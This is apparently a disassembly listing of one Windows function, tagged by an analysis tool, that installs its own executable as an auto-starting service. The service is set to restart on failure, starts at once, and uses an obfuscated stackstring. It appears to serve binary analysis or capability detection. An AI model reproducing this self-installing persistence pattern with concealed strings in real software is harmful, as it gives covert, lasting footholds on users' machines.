Function at 0x845fa70
Capabilities:
Contain obfuscated stackstrings
Create service
Modify service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x33c
mov eax, dword [0x184002c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0xf003f
xor ebx, ebx
mov dword [ebp - 0x32c], ecx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x845fad1
mov ecx, dword [ebp - 0x32c]
push 1
add ecx, 0x2c
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
test eax, eax
je 0x845fac6
push eax
mov ebx, 1
call edi
push esi
call edi
test ebx, ebx
jne 0x845ff27
push 0x104
lea eax, [ebp - 0x20e]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x845ff3d
cmp eax, 0x104
je 0x845ff3d
mov ecx, 0x22
mov word [ebp - 0x210], cx
mov word [ebp + eax*2 - 0x20e], cx
lea eax, [eax*2 + 4]
cmp eax, 0x20c
jae 0x845ffc4
xor ecx, ecx
push 0xf003f
push ecx
push ecx
mov word [ebp + eax - 0x210], cx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
jne 0x845fb7b
push 0x3c
push eax
lea eax, [ebp - 0x264]
push eax
call fcn.0849dde0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 1
push 2
lea ecx, [ebp - 0x264]
call fcn.08443320
mov dword [ebp - 0x230], 6
mov dword [ebp - 0x22c], 6
jmp 0x845ff79
mov esi, dword [ebp - 0x32c]
lea eax, [ebp - 0x32d]
push 0
push 0
push 0
sub esp, 0xc
mov dword [ebp - 0x328], 0x47386843
mov ecx, esp
mov dword [ebp - 0x324], 0x43467841
lea edx, [ebp - 0x279]
mov dword [ebp - 0x320], 0x63455150
mov dword [ebp - 0x31c], 0x2f426e43
add esi, 0x2c
push eax
push edx
lea eax, [ebp - 0x328]
mov dword [ebp - 0x318], 0x73314349
push eax
mov dword [ebp - 0x314], 0x35646d63
mov dword [ebp - 0x310], 0x6e596a66
mov dword [ebp - 0x30c], 0x5134434d
mov dword [ebp - 0x308], 0x32687950
mov dword [ebp - 0x304], 0x6e677a4f
mov dword [ebp - 0x300], 0x416b4341
mov dword [ebp - 0x2fc], 0x55597849
mov dword [ebp - 0x2f8], 0x7530794d
mov dword [ebp - 0x2f4], 0x2f6c684d
mov dword [ebp - 0x2f0], 0x4877525a
mov dword [ebp - 0x2ec], 0x5951674b
mov dword [ebp - 0x2e8], 0x2b646747
mov dword [ebp - 0x2e4], 0x7a777864
mov dword [ebp - 0x2e0], 0x6f416941
mov dword [ebp - 0x2dc], 0x2b395145
mov dword [ebp - 0x2d8], 0x58305262
mov dword [ebp - 0x2d4], 0x4577434f
mov dword [ebp - 0x2d0], 0x39347847
mov dword [ebp - 0x2cc], 0x44305449
mov dword [ebp - 0x2c8], 0x7464514a
mov dword [ebp - 0x2c4], 0x75516841
mov dword [ebp - 0x2c0], 0x71496766
mov dword [ebp - 0x2bc], 0x4a387a41
mov dword [ebp - 0x2b8], 0x44736842
mov dword [ebp - 0x2b4], 0x6d735845
mov dword [ebp - 0x2b0], 0x7a777a46
mov dword [ebp - 0x2ac], 0x6b595343
mov dword [ebp - 0x2a8], 0x6a705247
mov dword [ebp - 0x2a4], 0x68554148
mov dword [ebp - 0x2a0], 0x74356748
mov dword [ebp - 0x29c], 0x64495263
mov dword [ebp - 0x298], 0x2b315341
mov dword [ebp - 0x294], 0x5a456947
mov dword [ebp - 0x290], 0x336c7a5a
mov dword [ebp - 0x28c], 0x3652534a
mov dword [ebp - 0x288], 0x4555514e
mov dword [ebp - 0x284], 0x78466746
mov dword [ebp - 0x280], 0x41415147
mov word [ebp - 0x27c], 0x4841
mov byte [ebp - 0x27a], 0x6b
call fcn.08409550
lea eax, [ebp - 0x33c]
push eax
call fcn.0844ba20
add esp, 0x10
mov ecx, eax
call fcn.08417430
push eax
push 0
push 0
lea eax, [ebp - 0x210]
push eax
push 1
push 2
push 0x10
push 0xf01ff
push esi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
lea ecx, [ebp - 0x33c]
mov esi, eax
call fcn.0840b0f0
test esi, esi
jne 0x845fe1e
push 0x3c
lea eax, [ebp - 0x264]
push esi
push eax
call fcn.0849dde0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 1
push 2
lea ecx, [ebp - 0x264]
call fcn.08443320
lea eax, [ebp - 0x264]
mov dword [ebp - 0x238], 1
push eax
mov dword [ebp - 0x264], 0x10402b0c
mov dword [ebp - 0x234], 3
mov dword [ebp - 0x230], 5
mov dword [ebp - 0x22c], 5
call fcn.084698a0
add esp, 4
push ebx
call edi
jmp 0x845ffa6
lea eax, [ebp - 0x228]
mov dword [ebp - 0x224], 0xea60
mov dword [ebp - 0x268], eax
lea eax, [ebp - 0x278]
push eax
push 2
push esi
mov dword [ebp - 0x228], 1
mov dword [ebp - 0x21c], 0xea60
mov dword [ebp - 0x220], 1
mov dword [ebp - 0x214], 0xea60
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x278], 0x3c
mov dword [ebp - 0x270], 0
mov dword [ebp - 0x274], 0
mov dword [ebp - 0x26c], 3
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x845ff21
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x3c
lea eax, [ebp - 0x264]
push 0
push eax
call fcn.0849dde0
add esp, 0xc
lea ecx, [ebp - 0x264]
push 1
push 2
call fcn.08443320
lea eax, [ebp - 0x264]
mov dword [ebp - 0x238], 1
push eax
mov dword [ebp - 0x264], 0x10402b0c
mov dword [ebp - 0x234], 3
mov dword [ebp - 0x230], 3
mov dword [ebp - 0x22c], 3
call fcn.084698a0
add esp, 4
lea ecx, [ebp - 0x264]
call fcn.08445440
push esi
call edi
push ebx
call edi
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0849cd1e
mov esp, ebp
pop ebp
ret
push 0x3c
lea eax, [ebp - 0x264]
push 0
push eax
call fcn.0849dde0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 1
push 2
lea ecx, [ebp - 0x264]
call fcn.08443320
mov dword [ebp - 0x230], 7
mov dword [ebp - 0x22c], 7
lea eax, [ebp - 0x264]
mov dword [ebp - 0x238], 1
push eax
mov dword [ebp - 0x264], 0x10402b0c
mov dword [ebp - 0x234], 3
call fcn.084698a0
add esp, 4
lea ecx, [ebp - 0x264]
call fcn.08445440
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0849cd1e
mov esp, ebp
pop ebp
ret
call fcn.0849b8ca
int3